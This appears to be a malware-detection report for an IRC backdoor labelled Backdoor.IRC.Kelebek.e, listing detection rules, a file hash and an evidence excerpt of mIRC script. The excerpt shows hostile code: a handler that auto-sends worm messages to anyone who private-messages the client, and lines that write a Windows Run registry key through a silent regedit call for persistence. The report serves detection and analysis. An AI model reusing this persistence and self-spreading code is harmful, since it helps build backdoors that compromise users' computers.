Backdoor.IRC.Kelebek.e
IRC backdoor with persistence
Detects mIRC TEXT eventDetects mIRC scripting commands used by worms
SHA-256fd5bb45979b143b2a59d4cc4bfe8401747f29258a0a5ee62a800bd14aeabcf5f
MaleculeO(C)H(Os)
Evidence
53:25… join $+ $chan 0 60 .join $chan | halt }
54 if $cid > 6 { server $read(cmdser.sys) }
55 }
56}
57on *:TEXT:*:?: {
58 if $nick isin %specialnick { report 4 $+ $nick : 12 $+ $1- | halt }
59 if $me isin %adminc { halt }
60 if $nick == $me { halt }
61 .privmsg $nick $read(com16ms.sys)
62 .timer $+ $nick 1 5 .privmsg $nick $read(com32ms.sys)
63 .if %relay == on { report $nick pv me on $server $network }
64 .timer $+ $nick $+ 2 1 10 .ignore $nick
65}
66on * …
111:2… .write %windows [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
112 .write %windows "SystrayServices"=" $+ $remove($mircexe,$mircdir) $+ "
113 run -n regedit /s %windows
114 timer 1 4 remove %windows
115}